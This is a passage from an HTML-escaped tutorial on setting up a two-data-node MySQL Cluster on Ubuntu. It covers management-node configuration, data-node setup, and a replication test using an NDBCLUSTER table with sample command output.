style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#chown -R mysql:mysql /var/lib/mysql-cluster&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Configure MGM Node service: &lt;/b&gt;&lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#vi /var/lib/mysql-cluster/config.ini&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;"&gt;[NDBD DEFAULT]&lt;br /&gt;NoOfReplicas=2&lt;br /&gt;DataMemory=80M    # How much memory to allocate for data storage&lt;br /&gt;IndexMemory=18M   # How much memory to allocate for index storage&lt;br /&gt;# For DataMemory and IndexMemory, we have used the&lt;br /&gt;# default values. Since the "world" database takes up&lt;br /&gt;# only about 500KB, this should be more than enough for&lt;br /&gt;# this example Cluster setup.&lt;br /&gt;[MYSQLD DEFAULT]&lt;br /&gt;[NDB_MGMD DEFAULT]&lt;br /&gt;[TCP DEFAULT]&lt;br /&gt;# Section for the cluster management node&lt;br /&gt;[NDB_MGMD]&lt;br /&gt;# IP address of the management node (this system)&lt;br /&gt;HostName=192.168.0.1&lt;br /&gt;# Section for the storage nodes&lt;br /&gt;[NDBD]&lt;br /&gt;# IP address of the first storage node&lt;br /&gt;HostName=192.168.0.101&lt;br /&gt;DataDir=/var/lib/mysql-cluster&lt;br /&gt;BackupDataDir=/var/lib/mysql-cluster/backup&lt;br /&gt;DataMemory=2048M&lt;br /&gt;[NDBD]&lt;br /&gt;# IP address of the second storage node&lt;br /&gt;HostName=192.168.0.102&lt;br /&gt;DataDir=/var/lib/mysql-cluster&lt;br /&gt;BackupDataDir=/var/lib/mysql-cluster/backup&lt;br /&gt;DataMemory=2048M&lt;br /&gt;&lt;br /&gt;# one [MYSQLD] per storage node&lt;br /&gt;[MYSQLD]&lt;br /&gt;[MYSQLD]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Startup MGM Node service:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ndb_mgmd -f /var/lib/mysql-cluster/config.ini&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;NOTE 0:&lt;/b&gt; If you modify or add more nodes in the configuration file, you have to restart the service with these options:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ndb_mgmd -f /var/lib/mysql-cluster/config.ini –reload&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;then with&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ndb_mgmd -f /var/lib/mysql-cluster/config.ini –initial&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-size:180%;color:#000000;"&gt;&lt;b&gt;Install Data Node service:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Install ubuntu packages:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#apt-get install mysql-server-5.1  mysql-cluster-server-5.1 mysql-cluster-client-5.1&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Configure my.cnf config file:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#vi /etc/mysql/my.cnf&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;In tag &lt;b&gt;[mysqld]&lt;/b&gt; add the following flags&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;ndbcluster&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;# IP address of the cluster management node&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;ndb-connectstring=192.168.0.1&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;and then … add end of file &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;[mysql_cluster]&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;# IP address of the cluster management node&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;"&gt;ndb-connectstring=192.168.0.&lt;/span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;Save file .. &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Create following directories:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir /var/lib/mysql-cluster&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Give the  following properties:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#chown -R mysql:mysql /var/lib/mysql-cluster&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Startup - Mysql Data Node:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;Login to directory /var/lib/mysql-cluster and execute the following command: &lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ndbd --ndb-mgmd-host=192.168.0.1 –initial&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;Then …. restart mysql-server:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#/etc/init.d/mysql stop&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#/etc/init.d/mysql start&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;NOTE 1: &lt;/b&gt;Do de same step to Data Node 2.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-size:180%;color:#000000;"&gt;&lt;b&gt;Test the Mysql-Cluster&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;Run in cluster management “MGM Node” the client “ndb_mgm” to check if the cluster nodes are connected:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ndb_mgm&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;This should print something like:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;ndb_mgm&amp;gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;Then … execute “&lt;span style="color: rgb(204, 0, 0);font-size:85%;"&gt;show&lt;/span&gt;;”&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;This should print something like:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-size:85%;color:#000000;"&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;ndb_mgm&amp;gt;&lt;span style="color: rgb(204, 0, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;show; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;Connected to Management Server at: localhost:1186 &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;Cluster Configuration &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;--------------------- &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;[ndbd(NDB)] 2 node(s) &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;id=2 @192.168.0.101 (Version: 5.0.19, Nodegroup: 0, Master) &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;id=3 @192.168.0.102 (Version: 5.0.19, Nodegroup: 0) &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;[ndb_mgmd(MGM)] 1 node(s) &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;id=1 @192.168.0.103 (Version: 5.0.19) &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;[mysqld(API)] 2 node(s) &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;id=4 @192.168.0.101 (Version: 5.0.19) &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;id=5 @192.168.0.102 (Version: 5.0.19) &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;ndb_mgm&amp;gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;to exit type “&lt;span style="font-weight: bold;"&gt;quit&lt;/span&gt;”&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-size:85%;color:#000000;"&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;ndb_mgm&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;quit;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;Now we create a test database with a test table and some data on Data Node 1:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;mysql -u root -p &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;CREATE DATABASE mysqlclustertest; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;USE mysqlclustertest; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;CREATE TABLE testtable (i INT) ENGINE=NDBCLUSTER; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;INSERT INTO testtable () VALUES (1); &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;SELECT * FROM testtable; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;quit;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;   &lt;p&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;NOTE 2:&lt;/span&gt; have a look at CREATE statment: we must use &lt;span style="font-weight: bold;"&gt;ENGINE=NDBCLUSTER&lt;/span&gt; for all databases tables that we want to get clusteres! If you use another engine, then clustering will not work!!&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;Look at a select: &lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;mysql&amp;gt; SELECT * FROM testtable; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;+------+ &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt; | i    | &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;+------+ &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt; | 1    | &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;+------+ &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;1 row in set (0.03 sec)&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;Now we create the same database on &lt;span style="font-weight: bold;"&gt;Data Node 2&lt;/span&gt; (yes, we still have to create it, but afterwards testable and its data should be replicated to Data Node 2, because testable uses &lt;span style="font-weight: bold;"&gt;ENGINE=NDBCLUSTER&lt;/span&gt;).&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;mysql -u root -p &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;CREATE DATABASE mysqlclustertest; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;USE mysqlclustertest; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;SELECT * FROM testtable;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;The SELECT statment should deliver you the same result as before on Data Node 1.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;mysql&amp;gt; SELECT * FROM testtable; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;+------+ &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;| i    | &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;+------+ &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;| 1    | &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;+------+ &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;1 row in set (0.04 sec)&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;So .. the data was replicated from Data Node 1 to Data Node 2. Now we insert another row into testable in  Data node 2.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;INSERT INTO testtable () VALUES (2); &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;quit;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;Now let's go back to Data Node 1 and check if we see the new row there: &lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;mysql&amp;gt; SELECT * FROM testtable; &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;+------+ &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;| i    | &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;+------+ &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;| 1    | &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;| 2    | &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;+------+ &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;2 rows in set (0.05 sec)&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;So .. both Mysql-Cluster nodes alwas have the same data !!!&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;that's all .. &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;color:#000000;"&gt;To remember&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;color:#000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;In MGM Node start service  as follows: &lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ndb_mgmd -f /var/lib/mysql-cluster/config.ini&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;If you modify or add more nodes in the configuration file, you have to restart the service with these options:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ndb_mgmd -f /var/lib/mysql-cluster/config.ini –reload&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;then with&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ndb_mgmd -f /var/lib/mysql-cluster/config.ini –initial&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;In Data Nodes 1, 2  start service  as follows: &lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#cd /var/lib/mysql-cluster&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#ndbd –ndb-mgmd-host=192.168.0.1 –initial&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;then ..  restart mysql-server&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#/etc/init.d/mysql restart &lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;or &lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#service mysql restart&lt;/span&gt;&lt;/p&gt; &lt;p 